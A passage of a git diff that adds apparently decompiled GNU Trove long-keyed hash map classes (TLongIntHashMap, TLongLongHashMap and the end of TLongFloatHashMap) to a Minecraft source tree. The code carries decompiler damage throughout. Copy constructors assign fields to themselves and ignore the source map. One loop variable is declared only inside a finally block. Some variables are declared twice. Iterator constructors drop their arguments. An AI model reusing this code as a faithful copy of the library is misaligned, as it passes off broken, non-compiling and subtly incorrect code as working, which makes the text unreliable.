+  class TLongFloatHashIterator
+    extends THashPrimitiveIterator
+    implements TLongFloatIterator
+  {
+    TLongFloatHashIterator(TLongFloatHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public long key()
+    {
+      return _set[_index];
+    }
+    
+    public float value()
+    {
+      return _values[_index];
+    }
+    
+    public float setValue(float val)
+    {
+      float old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TLongFloatMap)) {
+      return false;
+    }
+    TLongFloatMap that = (TLongFloatMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    float[] values = _values;
+    byte[] states = _states;
+    float this_no_entry_value = getNoEntryValue();
+    float that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        long key = _set[i];
+        float that_value = that.get(key);
+        float this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TLongFloatProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(long key, float value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeLong(_set[i]);
+        out.writeFloat(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      long key = in.readLong();
+      float val = in.readFloat();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TLongIntHashMap.java b/src/minecraft/gnu/trove/map/hash/TLongIntHashMap.java
new file mode 100644
index 0000000..7624505
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TLongIntHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TIntCollection;
+import gnu.trove.TLongCollection;
+import gnu.trove.function.TIntFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TLongIntHash;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TIntIterator;
+import gnu.trove.iterator.TLongIntIterator;
+import gnu.trove.iterator.TLongIterator;
+import gnu.trove.map.TLongIntMap;
+import gnu.trove.procedure.TIntProcedure;
+import gnu.trove.procedure.TLongIntProcedure;
+import gnu.trove.procedure.TLongProcedure;
+import gnu.trove.set.TLongSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TLongIntHashMap
+  extends TLongIntHash
+  implements TLongIntMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient int[] _values;
+  
+  public TLongIntHashMap() {}
+  
+  public TLongIntHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TLongIntHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TLongIntHashMap(int initialCapacity, float loadFactor, long noEntryKey, int noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TLongIntHashMap(long[] keys, int[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TLongIntHashMap(TLongIntMap map)
+  {
+    super(map.size());
+    if ((map instanceof TLongIntHashMap)) {
+      TLongIntHashMap hashmap = (TLongIntHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0L) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new int[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    long[] oldKeys = _set;
+    int[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new long[newCapacity];
+    _values = new int[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        long o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public int put(long key, int value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public int putIfAbsent(long key, int value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private int doPut(long key, int value, int index)
+  {
+    int previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Long, ? extends Integer> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Long, ? extends Integer> entry : map.entrySet()) {
+      put(((Long)entry.getKey()).longValue(), ((Integer)entry.getValue()).intValue());
+    }
+  }
+  
+
+  public void putAll(TLongIntMap map)
+  {
+    ensureCapacity(map.size());
+    TLongIntIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public int get(long key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public int remove(long key)
+  {
+    int prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TLongSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public long[] keys()
+  {
+    long[] keys = new long[size()];
+    long[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public long[] keys(long[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new long[size];
+    }
+    
+    long[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TIntCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public int[] values()
+  {
+    int[] vals = new int[size()];
+    int[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public int[] values(int[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new int[size];
+    }
+    
+    int[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(int val)
+  {
+    byte[] states = _states;
+    int[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(long key)
+  {
+    return contains(key);
+  }
+  
+
+  public TLongIntIterator iterator()
+  {
+    return new TLongIntHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TLongProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TIntProcedure procedure)
+  {
+    byte[] states = _states;
+    int[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TLongIntProcedure procedure)
+  {
+    byte[] states = _states;
+    long[] keys = _set;
+    int[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TIntFunction function)
+  {
+    byte[] states = _states;
+    int[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TLongIntProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    long[] keys = _set;
+    int[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(long key)
+  {
+    return adjustValue(key, 1);
+  }
+  
+
+  public boolean adjustValue(long key, int amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public int adjustOrPutValue(long key, int adjust_amount, int put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    int newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
+      int newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TLongSet
+  {
+    protected TKeyView() {}
+    
+    public TLongIterator iterator()
+    {
+      return new TLongIntHashMap.TLongIntKeyHashIterator(TLongIntHashMap.this, TLongIntHashMap.this);
+    }
+    
+
+    public long getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(long entry)
+    {
+      return TLongIntHashMap.this.contains(entry);
+    }
+    
+
+    public long[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public long[] toArray(long[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(long entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(long entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Long)) {
+          long ele = ((Long)element).longValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TLongCollection collection)
+    {
+      TLongIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(long[] array)
+    {
+      for (long element : array) {
+        if (!TLongIntHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Long> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TLongCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(long[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TLongIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Long.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TLongCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TLongIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(long[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      long[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Long)) {
+          long c = ((Long)element).longValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TLongCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TLongIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        long element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(long[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TLongIntHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TLongProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TLongSet)) {
+        return false;
+      }
+      TLongSet that = (TLongSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TLongProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(long key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TIntCollection
+  {
+    protected TValueView() {}
+    
+    public TIntIterator iterator()
+    {
+      return new TLongIntHashMap.TLongIntValueHashIterator(TLongIntHashMap.this, TLongIntHashMap.this);
+    }
+    
+
+    public int getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(int entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public int[] toArray()
+    {
+      return values();
+    }
+    
+
+    public int[] toArray(int[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(int entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(int entry)
+    {
+      int[] values = _values;
+      long[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0L) && (set[i] != 2L) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Integer)) {
+          int ele = ((Integer)element).intValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TIntCollection collection)
+    {
+      TIntIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(int[] array)
+    {
+      for (int element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Integer> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TIntCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(int[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TIntIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Integer.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TIntCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TIntIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(int[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      int[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Integer)) {
+          int c = ((Integer)element).intValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TIntCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TIntIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        int element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(int[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TLongIntHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TIntProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TIntProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(int value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TLongIntKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TLongIterator
+  {
+    TLongIntKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public long next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TLongIntValueHashIterator
+    extends THashPrimitiveIterator
+    implements TIntIterator
+  {
+    TLongIntValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public int next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TLongIntHashIterator
+    extends THashPrimitiveIterator
+    implements TLongIntIterator
+  {
+    TLongIntHashIterator(TLongIntHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public long key()
+    {
+      return _set[_index];
+    }
+    
+    public int value()
+    {
+      return _values[_index];
+    }
+    
+    public int setValue(int val)
+    {
+      int old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TLongIntMap)) {
+      return false;
+    }
+    TLongIntMap that = (TLongIntMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    int[] values = _values;
+    byte[] states = _states;
+    int this_no_entry_value = getNoEntryValue();
+    int that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        long key = _set[i];
+        int that_value = that.get(key);
+        int this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TLongIntProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(long key, int value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeLong(_set[i]);
+        out.writeInt(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      long key = in.readLong();
+      int val = in.readInt();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TLongLongHashMap.java b/src/minecraft/gnu/trove/map/hash/TLongLongHashMap.java
new file mode 100644
index 0000000..dd4f5bb
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TLongLongHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TLongCollection;
+import gnu.trove.function.TLongFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TLongLongHash;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TLongIterator;
+import gnu.trove.iterator.TLongLongIterator;
+import gnu.trove.map.TLongLongMap;
+import gnu.trove.procedure.TLongLongProcedure;
+import gnu.trove.procedure.TLongProcedure;
+import gnu.trove.set.TLongSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TLongLongHashMap
+  extends TLongLongHash
+  implements TLongLongMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient long[] _values;
+  
+  public TLongLongHashMap() {}
+  
+  public TLongLongHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TLongLongHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TLongLongHashMap(int initialCapacity, float loadFactor, long noEntryKey, long noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TLongLongHashMap(long[] keys, long[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TLongLongHashMap(TLongLongMap map)
+  {
+    super(map.size());
+    if ((map instanceof TLongLongHashMap)) {
+      TLongLongHashMap hashmap = (TLongLongHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0L) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0L) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new long[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    long[] oldKeys = _set;
+    long[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new long[newCapacity];
+    _values = new long[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        long o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public long put(long key, long value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public long putIfAbsent(long key, long value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private long doPut(long key, long value, int index)
+  {
+    long previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Long, ? extends Long> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Long, ? extends Long> entry : map.entrySet()) {
+      put(((Long)entry.getKey()).longValue(), ((Long)entry.getValue()).longValue());
+    }
+  }
+  
+
+  public void putAll(TLongLongMap map)
+  {
+    ensureCapacity(map.size());
+    TLongLongIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public long get(long key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public long remove(long key)
+  {
